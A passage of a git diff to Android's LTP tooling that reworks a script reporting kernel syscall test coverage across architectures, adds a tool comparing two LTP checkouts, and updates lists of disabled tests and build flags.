-      if module.attrib["name"] != "VtsKernelLtp": continue
-
-      # ARM arch and ABI strings don't match exactly, x86 and mips do.
-      if self._arch == "arm":
-        if not module.attrib["abi"].startswith("armeabi-"): continue
-      elif self._arch == "arm64":
-        if not module.attrib["abi"].startswith("arm64-"): continue
-      elif self._arch != module.attrib["abi"]: continue
-
-      # find LTP testcase
-      for testcase in module.findall("TestCase"):
-        if testcase.attrib["name"] != "KernelLtpTest": continue
-        found = True
-
-        # iterate over each LTP test
-        for test in testcase.findall("Test"):
-          test_re = re.compile(r"^syscalls.(\w+)_((32bit)|(64bit))$")
-          test_match = re.match(test_re, test.attrib["name"])
-          if not test_match: continue
-
-          test_name = test_match.group(1)
-
-          if test.attrib["result"] == "pass":
-            self.test_results[test_name] = "pass"
-          elif test.attrib["result"] == "fail":
-            self.test_results[test_name] = "fail"
-          else:
-            print ("Unknown VTS LTP test result for %s is %s" %
-                   (test_name, test.attrib["result"]))
-            sys.exit(-1)
-    if not found:
-      print "Error: LTP test results for arch %s not found in supplied test results." % self._arch
-      sys.exit(-1)
-
   def ltp_test_special_cases(self, syscall, test):
     """Detect special cases in syscall to LTP mapping.
 
@@ -180,20 +214,51 @@
       A boolean indicating whether the given syscall is tested
       by the given testcase.
     """
+    compat_syscalls = [ "chown32", "fchown32", "getegid32", "geteuid32",
+            "getgid32", "getgroups32", "getresgid32", "getresuid32",
+            "getuid32", "lchown32", "setfsgid32", "setfsuid32", "setgid32",
+            "setgroups32", "setregid32", "setresgid32", "setresuid32",
+            "setreuid32", "setuid32"]
+    if syscall in compat_syscalls:
+        test_re = re.compile(r"^%s\d+$" % syscall[0:-2])
+        if re.match(test_re, test):
+            return True
+    if syscall == "_llseek" and test.startswith("llseek"):
+      return True
+    if syscall in ("arm_fadvise64_", "fadvise64_") and \
+      test.startswith("posix_fadvise"):
+      return True
+    if syscall in ("arm_sync_file_range", "sync_file_range2") and \
+      test.startswith("sync_file_range"):
+      return True
     if syscall == "clock_nanosleep" and test == "clock_nanosleep2_01":
       return True
-    if syscall == "fadvise" and test.startswith("posix_fadvise"):
+    if syscall in ("epoll_ctl", "epoll_create") and test == "epoll-ltp":
       return True
     if syscall == "futex" and test.startswith("futex_"):
       return True
+    if syscall == "get_thread_area" and test == "set_thread_area01":
+      return True
     if syscall == "inotify_add_watch" or syscall == "inotify_rm_watch":
       test_re = re.compile(r"^inotify\d+$")
       if re.match(test_re, test):
         return True
+    inotify_init_tests = [ "inotify01", "inotify02", "inotify03", "inotify04" ]
+    if syscall == "inotify_init" and test in inotify_init_tests:
+        return True
+    if syscall == "lsetxattr" and test.startswith("lgetxattr"):
+        return True
     if syscall == "newfstatat":
       test_re = re.compile(r"^fstatat\d+$")
       if re.match(test_re, test):
         return True
+    if syscall in ("prlimit", "ugetrlimit") and test == "getrlimit03":
+      return True
+    if syscall == "rt_sigtimedwait" and test == "sigwaitinfo01":
+      return True
+    shutdown_tests = [ "send01", "sendmsg01", "sendto01" ]
+    if syscall == "shutdown" and test in shutdown_tests:
+        return True
 
     return False
 
@@ -209,9 +274,9 @@
         in the CKI.
     """
     for syscall in syscalls:
-      if self._arch not in syscall:
+      if self._arch is not None and self._arch not in syscall:
         continue
-      self.cki_syscalls.append(syscall["name"])
+      self.cki_syscalls.append(syscall)
       self.syscall_tests[syscall["name"]] = []
       # LTP does not use the 64 at the end of syscall names for testcases.
       ltp_syscall_name = syscall["name"]
@@ -221,144 +286,314 @@
       # a naming convention in the regexp below. Exceptions exist though.
       # For now those are checked for specifically.
       test_re = re.compile(r"^%s_?0?\d\d?$" % ltp_syscall_name)
-      for test in self.ltp_full_set:
+      for full_test_name in self.ltp_full_set:
+        testsuite, test = full_test_name.split('.')
         if (re.match(test_re, test) or
             self.ltp_test_special_cases(ltp_syscall_name, test)):
           # The filenames of the ioctl tests in LTP do not match the name
           # of the testcase defined in that source, which is what shows
           # up in VTS.
-          if ltp_syscall_name == "ioctl":
-            test = "ioctl01_02"
-          self.syscall_tests[syscall["name"]].append(test)
-    self.cki_syscalls.sort()
+          if testsuite == "syscalls" and ltp_syscall_name == "ioctl":
+            full_test_name = "syscalls.ioctl01_02"
+          # Likewise LTP has a test named epoll01, which is built as an
+          # executable named epoll-ltp, and tests the epoll_{create,ctl}
+          # syscalls.
+          if full_test_name == "syscalls.epoll-ltp":
+            full_test_name = "syscalls.epoll01"
+          self.syscall_tests[syscall["name"]].append(full_test_name)
+      for e in EXTERNAL_TESTS:
+        if e[0] == syscall["name"]:
+          self.syscall_tests[syscall["name"]].append(e[1])
+    self.cki_syscalls.sort(key=lambda tup: tup["name"])
 
   def update_test_status(self):
     """Populate test configuration and output for all CKI syscalls.
 
-    Go through VTS test configuration and test results (if provided) to
-    populate data for all CKI syscalls.
+    Go through VTS test configuration to populate data for all CKI syscalls.
     """
     for syscall in self.cki_syscalls:
-      self.disabled_tests[syscall] = []
-      self.skipped_tests[syscall] = []
-      self.failing_tests[syscall] = []
-      self.passing_tests[syscall] = []
-      if not self.syscall_tests[syscall]:
+      self.disabled_tests[syscall["name"]] = []
+      if not self.syscall_tests[syscall["name"]]:
         continue
-      for test in self.syscall_tests[syscall]:
+      for full_test_name in self.syscall_tests[syscall["name"]]:
+        if full_test_name in [t[1] for t in EXTERNAL_TESTS]:
+          continue
+        _, test = full_test_name.split('.')
+        # The VTS LTP stable list is composed of tuples of the test name and
+        # a boolean flag indicating whether it is mandatory.
+        stable_vts_ltp_testnames = [i[0] for i in self.stable_in_vts_ltp]
         if (test in self.disabled_in_ltp or
-            "syscalls.%s" % test in self.disabled_in_vts_ltp or
-            ("syscalls.%s_32bit" % test not in self.stable_in_vts_ltp and
-             "syscalls.%s_64bit" % test not in self.stable_in_vts_ltp)):
-          self.disabled_tests[syscall].append(test)
+            full_test_name in self.disabled_in_vts_ltp or
+            ("%s_32bit" % full_test_name not in stable_vts_ltp_testnames and
+             "%s_64bit" % full_test_name not in stable_vts_ltp_testnames)):
+          self.disabled_tests[syscall["name"]].append(full_test_name)
           continue
 
-        if not self.test_results:
-          continue
-
-        if test not in self.test_results:
-          self.skipped_tests[syscall].append(test)
-        elif self.test_results[test] == "fail":
-          self.failing_tests[syscall].append(test)
-        elif self.test_results[test] == "pass":
-          self.passing_tests[syscall].append(test)
-        else:
-          print ("Warning - could not resolve test %s status for syscall %s" %
-                 (test, syscall))
+  def syscall_arch_string(self, syscall, arch):
+    """Return a string showing whether the arch supports the given syscall."""
+    if arch not in syscall or not syscall[arch]:
+      return " "
+    else:
+      return "*"
 
   def output_results(self):
-    """Pretty print the CKI syscall LTP coverage results.
-
-    Pretty prints a table of the CKI syscall LTP coverage, pointing out
-    syscalls which have no passing tests in VTS LTP.
-    """
-    if not self.test_results:
-      self.output_limited_results()
-      return
+    """Pretty print the CKI syscall LTP coverage."""
     count = 0
     uncovered = 0
+
+    print ""
+    print "         Covered Syscalls"
     for syscall in self.cki_syscalls:
+      if (len(self.syscall_tests[syscall["name"]]) -
+          len(self.disabled_tests[syscall["name"]]) <= 0):
+        continue
       if not count % 20:
-        print ("%25s   Disabled Skipped Failing Passing -------------" %
+        print ("%25s   Disabled Enabled arm64 arm x86_64 x86 -----------" %
                "-------------")
-      sys.stdout.write("%25s   %s        %s       %s       %s" %
-                       (syscall, len(self.disabled_tests[syscall]),
-                        len(self.skipped_tests[syscall]),
-                        len(self.failing_tests[syscall]),
-                        len(self.passing_tests[syscall])))
-      if not self.passing_tests[syscall]:
-        print " <-- uncovered"
-        uncovered += 1
+      enabled = (len(self.syscall_tests[syscall["name"]]) -
+                 len(self.disabled_tests[syscall["name"]]))
+      if enabled > 9:
+        column_sp = "      "
       else:
-        print ""
+        column_sp = "       "
+      sys.stdout.write("%25s   %s        %s%s%s     %s   %s      %s\n" %
+                       (syscall["name"], len(self.disabled_tests[syscall["name"]]),
+                        enabled, column_sp,
+                        self.syscall_arch_string(syscall, "arm64"),
+                        self.syscall_arch_string(syscall, "arm"),
+                        self.syscall_arch_string(syscall, "x86_64"),
+                        self.syscall_arch_string(syscall, "x86")))
       count += 1
+
+    count = 0
+    print "\n"
+    print "       Uncovered Syscalls"
+    for syscall in self.cki_syscalls:
+      if (len(self.syscall_tests[syscall["name"]]) -
+          len(self.disabled_tests[syscall["name"]]) > 0):
+        continue
+      if not count % 20:
+        print ("%25s   Disabled Enabled arm64 arm x86_64 x86 -----------" %
+               "-------------")
+      enabled = (len(self.syscall_tests[syscall["name"]]) -
+                 len(self.disabled_tests[syscall["name"]]))
+      if enabled > 9:
+        column_sp = "      "
+      else:
+        column_sp = "       "
+      sys.stdout.write("%25s   %s        %s%s%s     %s   %s      %s\n" %
+                       (syscall["name"], len(self.disabled_tests[syscall["name"]]),
+                        enabled, column_sp,
+                        self.syscall_arch_string(syscall, "arm64"),
+                        self.syscall_arch_string(syscall, "arm"),
+                        self.syscall_arch_string(syscall, "x86_64"),
+                        self.syscall_arch_string(syscall, "x86")))
+      uncovered += 1
+      count += 1
+
     print ""
     print ("Total uncovered syscalls: %s out of %s" %
            (uncovered, len(self.cki_syscalls)))
 
-  def output_limited_results(self):
-    """Pretty print the CKI syscall LTP coverage without VTS test results.
+  def output_summary(self):
+    """Print a one line summary of the CKI syscall LTP coverage.
 
-    When no VTS test results are supplied then only the count of enabled
-    and disabled LTP tests may be shown.
+    Pretty prints a one line summary of the CKI syscall coverage in LTP
+    for the specified architecture.
     """
-    count = 0
-    uncovered = 0
+    uncovered_with_test = 0
+    uncovered_without_test = 0
     for syscall in self.cki_syscalls:
-      if not count % 20:
-        print ("%25s   Disabled Enabled -------------" %
-               "-------------")
-      sys.stdout.write("%25s   %s        %s" %
-                       (syscall, len(self.disabled_tests[syscall]),
-                        len(self.syscall_tests[syscall]) -
-                        len(self.disabled_tests[syscall])))
-      if (len(self.syscall_tests[syscall]) -
-          len(self.disabled_tests[syscall]) <= 0):
-        print " <-- uncovered"
-        uncovered += 1
+      if (len(self.syscall_tests[syscall["name"]]) -
+          len(self.disabled_tests[syscall["name"]]) > 0):
+        continue
+      if (len(self.disabled_tests[syscall["name"]]) > 0):
+        uncovered_with_test += 1
       else:
-        print ""
-      count += 1
-    print ""
-    print ("Total uncovered syscalls: %s out of %s" %
-           (uncovered, len(self.cki_syscalls)))
+        uncovered_without_test += 1
+    print ("arch, cki syscalls, uncovered with disabled test(s), "
+           "uncovered with no tests, total uncovered")
+    print ("%s, %s, %s, %s, %s" % (self._arch, len(self.cki_syscalls),
+                                uncovered_with_test, uncovered_without_test,
+                                uncovered_with_test + uncovered_without_test))
+
+  def add_syscall(self, cki, syscall, arch):
+    """Note that a syscall has been seen for a particular arch."""
+    seen = False
+    for s in cki.syscalls:
+      if s["name"] == syscall:
+        s[arch]= True
+        seen = True
+        break
+    if not seen:
+      cki.syscalls.append({"name":syscall, arch:True})
+
+  def delete_syscall(self, cki, syscall):
+    cki.syscalls = list(filter(lambda i: i["name"] != syscall, cki.syscalls))
+
+  def check_blacklist(self, cki, error_on_match):
+    unlisted_syscalls = []
+    for s in cki.syscalls:
+      if s["name"] in CKI_BLACKLIST:
+        if error_on_match:
+          print "Syscall %s found in both bionic CKI and blacklist!" % s["name"]
+          sys.exit()
+      else:
+        unlisted_syscalls.append(s)
+    cki.syscalls = unlisted_syscalls
+
+  def get_x86_64_kernel_syscalls(self, cki):
+    """Retrieve the list of syscalls for x86_64."""
+    proc = subprocess.Popen(['curl', x86_64_syscall_tbl_url], stdout=subprocess.PIPE)
+    while True:
+      line = proc.stdout.readline()
+      if line != b'':
+        test_re = re.compile(r"^\d+\s+\w+\s+(\w+)\s+(__x64_sys|__x32_compat_sys)")
+        test_match = re.match(test_re, line)
+        if test_match:
+          syscall = test_match.group(1)
+          self.add_syscall(cki, syscall, "x86_64")
+      else:
+        break
+
+  def get_x86_kernel_syscalls(self, cki):
+    """Retrieve the list of syscalls for x86."""
+    proc = subprocess.Popen(['curl', x86_syscall_tbl_url], stdout=subprocess.PIPE)
+    while True:
+      line = proc.stdout.readline()
+      if line != b'':
+        test_re = re.compile(r"^\d+\s+i386\s+(\w+)\s+sys_")
+        test_match = re.match(test_re, line)
+        if test_match:
+          syscall = test_match.group(1)
+          self.add_syscall(cki, syscall, "x86")
+      else:
+        break
+
+  def get_arm_kernel_syscalls(self, cki):
+    """Retrieve the list of syscalls for arm."""
+    proc = subprocess.Popen(['curl', arm_syscall_tbl_url], stdout=subprocess.PIPE)
+    while True:
+      line = proc.stdout.readline()
+      if line != b'':
+        test_re = re.compile(r"^\d+\s+\w+\s+(\w+)\s+sys_")
+        test_match = re.match(test_re, line)
+        if test_match:
+          syscall = test_match.group(1)
+          self.add_syscall(cki, syscall, "arm")
+      else:
+        break
+
+  def get_arm64_kernel_syscalls(self, cki):
+    """Retrieve the list of syscalls for arm64."""
+    # Add AArch64 syscalls
+    proc = subprocess.Popen(['curl', unistd_h_url], stdout=subprocess.PIPE)
+    while True:
+      line = proc.stdout.readline()
+      if line != b'':
+        test_re = re.compile(r"^#define __NR(3264)?_(\w+)\s+(\d+)$")
+        test_match = re.match(test_re, line)
+        if test_match:
+          syscall = test_match.group(2)
+          if (syscall == "sync_file_range2" or
+              syscall == "arch_specific_syscall" or
+              syscall == "syscalls"):
+              continue
+          self.add_syscall(cki, syscall, "arm64")
+      else:
+        break
+    # Add AArch32 syscalls
+    proc = subprocess.Popen(['curl', arm64_unistd32_h_url], stdout=subprocess.PIPE)
+    while True:
+      line = proc.stdout.readline()
+      if line != b'':
+        test_re = re.compile(r"^#define __NR(3264)?_(\w+)\s+(\d+)$")
+        test_match = re.match(test_re, line)
+        if test_match:
+          syscall = test_match.group(2)
+          self.add_syscall(cki, syscall, "arm64")
+      else:
+        break
+
+  def get_kernel_syscalls(self, cki, arch):
+    self.get_arm64_kernel_syscalls(cki)
+    self.get_arm_kernel_syscalls(cki)
+    self.get_x86_kernel_syscalls(cki)
+    self.get_x86_64_kernel_syscalls(cki)
+
+    # restart_syscall is a special syscall which the kernel issues internally
+    # when a process is resumed with SIGCONT.  seccomp whitelists this syscall,
+    # but it is not part of the CKI or meaningfully testable from userspace.
+    # See restart_syscall(2) for more details.
+    self.delete_syscall(cki, "restart_syscall")
 
 if __name__ == "__main__":
   parser = argparse.ArgumentParser(description="Output list of system calls "
-          "in the Common Kernel Interface and their VTS LTP coverage. If VTS "
-          "test output is supplied, output includes system calls which have "
-          "tests in VTS LTP, but the tests are skipped or are failing.")
-  parser.add_argument("arch", help="architecture of Android platform")
+          "in the Common Kernel Interface and their VTS LTP coverage.")
+  parser.add_argument("-a", "--arch", help="only show syscall CKI for specific arch")
   parser.add_argument("-l", action="store_true",
                       help="list CKI syscalls only, without coverage")
-  parser.add_argument("-r", "--results", help="path to VTS test_result.xml")
+  parser.add_argument("-s", action="store_true",
+                      help="print one line summary of CKI coverage for arch")
+  parser.add_argument("-f", action="store_true",
+                      help="only check syscalls with known Android use")
+  parser.add_argument("-k", action="store_true",
+                      help="use lowest supported kernel version instead of tip")
+
   args = parser.parse_args()
-  if args.arch not in gensyscalls.all_arches:
+  if args.arch is not None and args.arch not in gensyscalls.all_arches:
     print "Arch must be one of the following:"
     print gensyscalls.all_arches
     exit(-1)
 
+  if args.k:
+    minversion = "4.9"
+    print "Checking kernel version %s" % minversion
+    minversion = "?h=v" + minversion
+    unistd_h_url += stable_url + unistd_h + minversion
+    arm64_unistd32_h_url += stable_url + arm64_unistd32_h + minversion
+    arm_syscall_tbl_url += stable_url + arm_syscall_tbl + minversion
+    x86_syscall_tbl_url += stable_url + x86_syscall_tbl + minversion
+    x86_64_syscall_tbl_url += stable_url + x86_64_syscall_tbl + minversion
+  else:
+    unistd_h_url += tip_url + unistd_h
+    arm64_unistd32_h_url += tip_url + arm64_unistd32_h
+    arm_syscall_tbl_url += tip_url + arm_syscall_tbl
+    x86_syscall_tbl_url += tip_url + x86_syscall_tbl
+    x86_64_syscall_tbl_url += tip_url + x86_64_syscall_tbl
+
   cki = gensyscalls.SysCallsTxtParser()
-  cki.parse_file(os.path.join(bionic_libc_root, "SYSCALLS.TXT"))
-  cki.parse_file(os.path.join(bionic_libc_root, "SECCOMP_WHITELIST.TXT"))
-  cki.parse_file(os.path.join(bionic_libc_root, "SECCOMP_WHITELIST_GLOBAL.TXT"))
+  cki_cov = CKI_Coverage(args.arch)
+
+  if args.f:
+    cki.parse_file(os.path.join(bionic_libc_root, "SYSCALLS.TXT"))
+    cki.parse_file(os.path.join(bionic_libc_root, "SECCOMP_WHITELIST_APP.TXT"))
+    cki.parse_file(os.path.join(bionic_libc_root, "SECCOMP_WHITELIST_COMMON.TXT"))
+    cki.parse_file(os.path.join(bionic_libc_root, "SECCOMP_WHITELIST_SYSTEM.TXT"))
+    cki.parse_file(os.path.join(bionic_libc_root, "SECCOMP_WHITELIST_GLOBAL.TXT"))
+    cki_cov.check_blacklist(cki, True)
+  else:
+    cki_cov.get_kernel_syscalls(cki, args.arch)
+    cki_cov.check_blacklist(cki, False)
+
   if args.l:
     for syscall in cki.syscalls:
-      if args.arch in syscall:
+      if args.arch is None or syscall[args.arch]:
         print syscall["name"]
     exit(0)
 
-  cki_cov = CKI_Coverage(args.arch)
-
   cki_cov.load_ltp_tests()
   cki_cov.load_ltp_disabled_tests()
-  if args.results:
-    cki_cov.parse_test_results(args.results)
   cki_cov.match_syscalls_to_tests(cki.syscalls)
   cki_cov.update_test_status()
 
   beta_string = ("*** WARNING: This script is still in development and may\n"
                  "*** report both false positives and negatives.")
   print beta_string
+
+  if args.s:
+    cki_cov.output_summary()
+    exit(0)
+
   cki_cov.output_results()
   print beta_string
diff --git a/android/tools/compare_ltp_projects.py b/android/tools/compare_ltp_projects.py
new file mode 100755
index 0000000..223f692
--- /dev/null
+++ b/android/tools/compare_ltp_projects.py
@@ -0,0 +1,201 @@
+#! /usr/bin/env python
+#
+# Copyright 2018 - The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+# Parses the output of parse_ltp_{make,make_install} and generates a
+# corresponding Android.mk.
+#
+# This process is split into two steps so this second step can later be replaced
+# with an Android.bp generator.
+
+from __future__ import print_function
+
+"""Tool for comparing 2 LTP projects to find added / removed tests & testsuites"""
+
+import os
+import argparse
+import os.path
+import sys
+
+def scan_tests(ltp_root, suite):
+    ''' Find all tests that are run as part of given test suite in LTP.
+
+    Args:
+        ltp_root: Path ot the LTP project.
+        suite: Name of testsuite.
+
+    Returns:
+        List of tests names that are run as part of the given test suite.
+    '''
+
+    tests = []
+    if not suite:
+        return tests
+
+    runtest_dir = ltp_root + os.path.sep + 'runtest'
+    test_suiteFile = runtest_dir + os.path.sep + suite
+    if not os.path.isfile(test_suiteFile):
+        print ('No tests defined for suite {}',format(suite))
+        return tests
+
+    with open(test_suiteFile) as f:
+        for line in f:
+            line = line.strip()
+            if line and not line.startswith('#'):
+                tests.append(line.split()[0])
+    f.close()
+    return tests
+
+def scan_test_suites(ltp_root, scenario):
+    ''' Find all testuites and tests run as part of given LTP scenario
+
+    Args:
+        ltp_root: Path to the LTP project.
+        scenario: name of the scenario (found in ltp_root/scenario_groups). E.g. "vts"
+
+    Returns:
+        List of testsuite names that are run as part of given scenario (e.g. vts).
+        If scenario is not specified, return all testsuites.
+    '''
+
+    runtest_dir = ltp_root + os.path.sep + 'runtest'
+    if not os.path.isdir(runtest_dir):
+        print ('Invalid ltp_root {}, runtest directory doesnt exist'.format(ltp_root))
+        sys.exit(2)
+
+    test_suites = []
+    if scenario:
+        scenarioFile = ltp_root + os.path.sep + 'scenario_groups' + os.path.sep + scenario
+        if not os.path.isfile(scenarioFile):
+            return test_suites
+        with open(scenarioFile) as f:
+            for line in f:
+                line = line.strip()
+                if not line.startswith('#'):
+                    test_suites.append(line)
+        return test_suites
+
+    runtest_dir = ltp_root + os.path.sep + 'runtest'
+    test_suites = [f for f in os.listdir(runtest_dir) if os.path.isfile(runtest_dir + os.path.sep + f)]
+
+    return test_suites
+
+def scan_ltp(ltp_root, scenario):
+    ''' scan LTP project and return all tests and testuites present.
+
+    Args:
+        ltp_root: Path to the LTP project.
+        scenario: specific scenario we want to scan. e.g. vts
+
+    Returns:
+        Dictionary of all LTP test names keyed by testsuite they are run as part of.
+        E.g.
+             {
+                 'mem': ['oom01', 'mem02',...],
+                 'syscalls': ['open01', 'read02',...],
+                 ...
+             }
+    '''
+
+    if not os.path.isdir(ltp_root):
+        print ('ltp_root {} does not exist'.format(ltp_root))
+        sys.exit(1)
+
+    test_suites = scan_test_suites(ltp_root, scenario)
+    if not test_suites:
+        print ('No Testsuites found for scenario {}'.format(scenario))
+        sys.exit(3)
+
+    ltp_tests = {}
+    for suite in test_suites:
+        ltp_tests[suite] = scan_tests(ltp_root, suite)
+    return ltp_tests
+
+def show_diff(ltp_tests_1, ltp_tests_2):
+    ''' Find and print diff between testcases in 2 LTP project checkouts.
+
+    Args:
+        ltp_tests_1: dictionary of tests keyed by test suite names
+        ltp_tests_2: dictionary of tests keyed by test suite names
+    '''
+    test_suites1 = set(sorted(ltp_tests_1.keys()))
+    test_suites2 = set(sorted(ltp_tests_2.keys()))
+
+    # Generate lists of deleted, added and common test suites between
+    # LTP1 & LTP2
+    deleted_test_suites = sorted(test_suites1.difference(test_suites2))
+    added_test_suites = sorted(test_suites2.difference(test_suites1))
+    common_test_suites = sorted(test_suites1.intersection(test_suites2))
+
+    deleted_tests = []
+    added_tests = []
+    for suite in common_test_suites:
+        tests1 = set(sorted(ltp_tests_1[suite]))
+        tests2 = set(sorted(ltp_tests_2[suite]))
+
+        exclusive_test1 = tests1.difference(tests2)
+        exclusive_test2 = tests2.difference(tests1)
+        for e in exclusive_test1:
+            deleted_tests.append(suite + '.' + e)
+        for e in exclusive_test2:
+            added_tests.append(suite + '.' + e)
+
+    # find the maximum width of a test suite name or test name
+    # we have to print to decide the alignment.
+    width_suites = max([len(x) for x in deleted_test_suites])
+    width_tests = max([len(x) for x in deleted_tests])
+    width = max(width_suites, width_tests);
+
+    # total rows we have to print
+    total_rows = max(len(deleted_test_suites), len(added_test_suites))
+    if total_rows > 0:
+        print ('{:*^{len}}'.format(' Tests Suites ', len=width*2+2))
+        print ('{:>{len}} {:>{len}}'.format('Deleted', 'Added', len=width))
+        for i in range(total_rows):
+            print ('{:>{len}} {:>{len}}'.format('' if i >= len(deleted_test_suites) else str(deleted_test_suites[i]),
+                                 '' if i >= len(added_test_suites) else str(added_test_suites[i]), len=width))
+
+    print('')
+    # total rows we have to print
+    total_rows = max(len(deleted_tests), len(added_tests))
+    if total_rows:
+        print ('{:*^{len}}'.format(' Tests ', len=width*2+2))
+        print ('{:>{len}} {:>{len}}'.format('Deleted', 'Added', len=width))
+        for i in range(total_rows):
+            print ('{:>{len}} {:>{len}}'.format('' if i >= len(deleted_tests) else str(deleted_tests[i]),
+                                 '' if i >= len(added_tests) else str(added_tests[i]), len=width))
+def main():
+    arg_parser = argparse.ArgumentParser(
+        description='Diff 2 LTP projects for supported test cases')
+    arg_parser.add_argument('--ltp-root1',
+                            dest='ltp_root1',
+                            required=True,
+                            help="LTP Root Directory before merge")
+    arg_parser.add_argument('--ltp-root2',
+                            dest='ltp_root2',
+                            required=True,
+                            help="LTP Root Directory after merge")
+    arg_parser.add_argument('--scenario', default=None,
+                            dest='scenario',
+                            help="LTP scenario to list tests for")
+    args = arg_parser.parse_args()
+
+    ltp_tests1 = scan_ltp(args.ltp_root1, args.scenario)
+    ltp_tests2 = scan_ltp(args.ltp_root2, args.scenario)
+    show_diff(ltp_tests1, ltp_tests2)
+
+if __name__ == '__main__':
+    main()
diff --git a/android/tools/disabled_cflags.txt b/android/tools/disabled_cflags.txt
index 9ba5f61..60e20f1 100644
--- a/android/tools/disabled_cflags.txt
+++ b/android/tools/disabled_cflags.txt
@@ -1,2 +1 @@
 # The following cflags are not currently supported due to build error
--DTST_USE_COMPAT16_SYSCALL=1
diff --git a/android/tools/disabled_libs.txt b/android/tools/disabled_libs.txt
index 7a53ba4..f2ede32 100644
--- a/android/tools/disabled_libs.txt
+++ b/android/tools/disabled_libs.txt
@@ -1,4 +1,2 @@
 # List of tests which cannot (currently) be built for Android/bionic.
 # Every test case that requires this lib will also need be disabled
-
-cpu_set
diff --git a/android/tools/disabled_tests.txt b/android/tools/disabled_tests.txt
index 1d7bd27..e8f0cd5 100644
--- a/android/tools/disabled_tests.txt
+++ b/android/tools/disabled_tests.txt
@@ -1,4 +1,4 @@
-# disabled_gtests.txt: list of tests which cannot (currently) be built
+# disabled_tests.txt: list of tests which cannot (currently) be built
 # for Android/bionic
 
 # POSIX functions not implemented in bionic
@@ -9,19 +9,13 @@
 
 # Non-POSIX functions not implemented in bionic
 getcontext01
-llistxattr01
-llistxattr02
-llistxattr03
 mallopt01
 profil01
 stime01
 stime02
-ustat01
-ustat02
-vhangup01
-vhangup02
 
 # Test SysV IPC, which is not allowed in Android kernels.
+
 cve-2017-5669
 hugeshmat01
 hugeshmat02
@@ -77,14 +71,18 @@
 msgsnd04
 msgsnd05
 msgsnd06
+msgstress01
+msgstress02
+msgstress03
+msgstress04
 remap_file_pages01
-remap_file_pages02
 sem01
 sem02
+sem_comm
+sem_nstest
 semaphore_test_01
 semaphore_test_02
 semaphore_test_03
-sem_comm
 semctl01
 semctl02
 semctl03
@@ -97,7 +95,6 @@
 semget03
 semget05
 semget06
-sem_nstest
 semop01
 semop02
 semop03
@@ -105,12 +102,12 @@
 semop05
 semtest_2ns
 setns02
-set_thread_area01
+shm_comm
+shm_test
 shmat01
 shmat02
 shmat03
 shmat1
-shm_comm
 shmctl01
 shmctl02
 shmctl03
@@ -140,8 +137,6 @@
 shmt08
 shmt09
 shmt10
-shm_test
-
 # Require SysV IPC, but don't directly test it -- these could potentially be
 # wrapped with ashmem
 cpuset_memory_test
@@ -160,13 +155,26 @@
 process
 sendmsg02
 
+# needs gzip -r
+gzip_tests.sh
+
+# needs mv -b
+mv_tests.sh
+
+# needs tar -d, tar -r
+tar_tests.sh
+
+# needs wc --long-options
+wc01.sh
+
+# needs which --long-options
+which01.sh
+
 # Following tests are for commands that are not available on Android
 # device
 ar01
 at_allow01
 at_deny01
-cp_tests.sh
-cpio_tests.sh
 cron02
 cron03
 cron_allow01
@@ -177,32 +185,10 @@
 cron_neg_tests.sh
 cron_pos_tests.sh
 cron_tests.sh
-df01.sh
 du01.sh
 eject_check_tray
 eject-tests.sh
 file_test.sh
-# TODO(b/69117476): Enable ftrace_stress tests again
-ftrace_buffer_size_kb.h
-ftrace_current_tracer.sh
-ftrace_ftrace_enabled.sh
-ftrace_function_profile_enabled.sh
-ftrace_set_event.sh
-ftrace_set_ftrace_filter.sh
-ftrace_set_ftrace_pid.sh
-ftrace_stack_max_size.sh
-ftrace_stack_trace.sh
-ftrace_stress_test.sh
-ftrace_trace.sh
-ftrace_trace_clock.sh
-ftrace_trace_options.sh
-ftrace_trace_pipe.sh
-ftrace_trace_stat.sh
-ftrace_tracing_cpumask.sh
-ftrace_tracing_enabled.sh
-ftrace_tracing_max_latency.sh
-ftrace_tracing_on.sh
-gzip_tests.sh
 insmod01.sh
 keyctl01.sh
 ld01
@@ -216,10 +202,7 @@
 logrotate_tests.sh
 lsmod01.sh
 mail_tests.sh
-mkdir_tests.sh
-mkfs01.sh
 mkswap01.sh
-mv_tests.sh
 nm01
 sssd01
 sssd02
@@ -228,7 +211,6 @@
 su01
 su01_s1
 su_set_passwd
-tar_tests.sh
 tpm_changeauth_tests.sh
 tpm_changeauth_tests_exp01.sh
 tpm_changeauth_tests_exp02.sh
@@ -270,8 +252,6 @@
 tpmtoken_setpasswd_tests_exp03.sh
 tpmtoken_setpasswd_tests_exp04.sh
 unzip_tests.sh
-wc01.sh
-which01.sh
 
 # Following tests are for containers which Android doesn't support / use.
 # Some of these also require SysV IPC, so they need to be disabled anyway.
@@ -347,6 +327,8 @@
 chown04
 chown04_16
 creat06
+df01.sh
+mkfs01.sh
 
 # Requires glob()
 epoll-test
@@ -358,10 +340,6 @@
 growfiles
 pipeio
 
-# Require {get,set}grent()
-getgroups03
-getgroups03_16
-
 # Require mqueue
 mq_timedsend01
 mq_notify01
@@ -396,32 +374,8 @@
 # Case designed only for i386
 f00f
 
-# The following test cases are disabled due to build error on AOSP
-eventfd01
-epoll_pwait01
-abs01
-io_setup01
-rt_sigsuspend01
-io_destroy01
-pidns12
-io_cancel01
-verify_caps_exec
-sigsuspend01
-pidns10
-ksm05
-atof01
-trace_sched
-nextafter01
-io_submit01
-pidns17
-pidns20
-io_getevents01
-nfs05_make_tree
-test
-check_tray
 # build error due to unavailability of eaccess()
 prot_hsymlinks
-setpriority01
 
 # The following test prebuilds are disabled due to build error on AOSP
 ldmain.obj
@@ -439,14 +393,6 @@
 nmfile.obj
 nmfile2.obj
 
-# The following test cases are disabled due to a disabled library
-cpuset_syscall_test
-cpuset_list_compute
-cpuset_cpu_hog
-cpuset_mem_hog
-cpuset_sched_domains_check
-cpuset_memory_pressure
-
 # The following test cases are disabled due to a disabled cflags
 
 # TODO b/69263988
@@ -462,3 +408,72 @@
 
 # input03 depends on /dev/input/mice which may not exist
 input03
+
+# Following test is flaky at best and renders the device unusable
+# after running.
+min_free_kbytes
+
+# Disable prebuilts that have no dependency on existing tests. The following prebuilts are disabled
+# as the only script that uses it is testscripts/test_fs_bind.sh. We currently do not support 'testscripts'
+# build for Android.
